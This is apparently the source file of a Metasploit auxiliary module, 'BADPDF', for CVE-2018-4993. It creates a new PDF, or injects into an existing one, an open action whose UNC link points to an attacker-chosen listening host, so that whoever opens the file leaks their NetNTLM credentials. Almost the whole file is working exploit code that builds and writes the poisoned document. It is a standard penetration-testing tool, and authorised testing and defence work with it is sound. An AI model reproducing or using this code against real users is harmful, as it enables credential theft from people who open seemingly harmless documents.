Path: blob/master/modules/auxiliary/fileformat/badpdf.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::FILEFORMAT78def initialize(info = {})9super(10update_info(11info,12'Name' => 'BADPDF Malicious PDF Creator',13'Description' => %q{14This module can either creates a blank PDF file which contains a UNC link which can be used15to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary16code into an existing PDF document if possible.17},18'License' => MSF_LICENSE,19'Author' => [20'Assaf Baharav', # Code provided as POC by CheckPoint21'Yaron Fruchtmann', # Code provided as POC by CheckPoint22'Ido Solomon', # Code provided as POC by CheckPoint23'Richard Davy - secureyourit.co.uk', # Metasploit24],25'Platform' => ['win'],26'References' => [27['CVE', '2018-4993'],28['URL', 'https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/']29],30'Notes' => {31'Reliability' => UNKNOWN_RELIABILITY,32'Stability' => UNKNOWN_STABILITY,33'SideEffects' => UNKNOWN_SIDE_EFFECTS34}35)36)37register_options(38[39OptAddress.new('LHOST', [true, 'Host listening for incoming SMB/WebDAV traffic', nil]),40OptString.new('FILENAME', [false, 'Filename']),41OptPath.new('PDFINJECT', [false, 'Path and filename to existing PDF to inject UNC link code into'])42]43)44end4546def run47if datastore['PDFINJECT'].nil? && datastore['FILENAME'].nil?48print_error 'Please configure either FILENAME or PDFINJECT'49elsif !datastore['PDFINJECT'].nil? && datastore['PDFINJECT'].to_s.end_with?('.pdf')50injectpdf51elsif !datastore['FILENAME'].nil? && datastore['FILENAME'].to_s.end_with?('.pdf')52createpdf53else54print_error "FILENAME or PDFINJECT must end with '.pdf' file extension"55end56end5758def injectpdf59# Payload which gets injected60inject_payload = "/AA <</O <</F (\\\\\\\\#{datastore['LHOST']}\\\\test)/D [ 0 /Fit]/S /GoToE>>>>"6162# if given path doesn't exist display error and return63unless File.exist?(datastore['PDFINJECT'])64# If file not found display error message65print_error "File doesn't exist #{datastore['PDFINJECT']}"66return67end6869# Read in contents of file70content = File.binread(datastore['PDFINJECT'])7172# Check for place holder - below ..should.. cover most scenarios.73newdata = ''74[2, 4, 6, 8].each do |pholder|75unless content.index("/Contents #{pholder} 0 R").nil?76# If place holder exists create new file content77newdata = content[0..(content.index("/Contents #{pholder} 0 R") + 14)] + inject_payload + content[(content.index("/Contents #{pholder} 0 R") + 15)..-1]78break79end80end8182# Display error message if we couldn't poison the file83if newdata.empty?84print_error 'Could not find placeholder to poison file this time....'85return86end8788# Create new filename by replacing .pdf with _malicious.pdf89newfilename = "#{datastore['PDFINJECT'].gsub(/\.pdf$/, '')}_malicious.pdf"90# Write content to file91File.open(newfilename, 'wb') { |file| file.write(newdata) }92# Check file exists and display path or error message93if File.exist?(newfilename)94print_good("Malicious file written to: #{newfilename}")95else96print_error 'Something went wrong creating malicious PDF file'97end98end99100def createpdf101# Code below taken POC provided by CheckPoint Research102pdf = ''103pdf << "%PDF-1.7\n"104pdf << "1 0 obj\n"105pdf << "<</Type/Catalog/Pages 2 0 R>>\n"106pdf << "endobj\n"107pdf << "2 0 obj\n"108pdf << "<</Type/Pages/Kids[3 0 R]/Count 1>>\n"109pdf << "endobj\n"110pdf << "3 0 obj\n"111pdf << "<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]/Resources<<>>>>\n"112pdf << "endobj\n"113pdf << "xref\n"114pdf << "0 4\n"115pdf << "0000000000 65535 f\n"116pdf << "0000000015 00000 n\n"117pdf << "0000000060 00000 n\n"118pdf << "0000000111 00000 n\n"119pdf << "trailer\n"120pdf << "<</Size 4/Root 1 0 R>>\n"121pdf << "startxref\n"122pdf << "190\n"123pdf << "3 0 obj\n"124pdf << "<< /Type /Page\n"125pdf << " /Contents 4 0 R\n"126pdf << " /AA <<\n"127pdf << " /O <<\n"128pdf << " /F (\\\\\\\\#{datastore['LHOST']}\\\\test)\n"129pdf << " /D [ 0 /Fit]\n"130pdf << " /S /GoToE\n"131pdf << " >>\n"132pdf << " >>\n"133pdf << " /Parent 2 0 R\n"134pdf << " /Resources <<\n"135pdf << " /Font <<\n"136pdf << " /F1 <<\n"137pdf << " /Type /Font\n"138pdf << " /Subtype /Type1\n"139pdf << " /BaseFont /Helvetica\n"140pdf << " >>\n"141pdf << " >>\n"142pdf << " >>\n"143pdf << ">>\n"144pdf << "endobj\n"145pdf << "4 0 obj<< /Length 100>>\n"146pdf << "stream\n"147pdf << "BT\n"148pdf << "/TI_0 1 Tf\n"149pdf << "14 0 0 14 10.000 753.976 Tm\n"150pdf << "0.0 0.0 0.0 rg\n"151pdf << "(PDF Document) Tj\n"152pdf << "ET\n"153pdf << "endstream\n"154pdf << "endobj\n"155pdf << "trailer\n"156pdf << "<<\n"157pdf << " /Root 1 0 R\n"158pdf << ">>\n"159pdf << "%%EOF\n"160# Write data to filename161file_create(pdf)162end163end164165166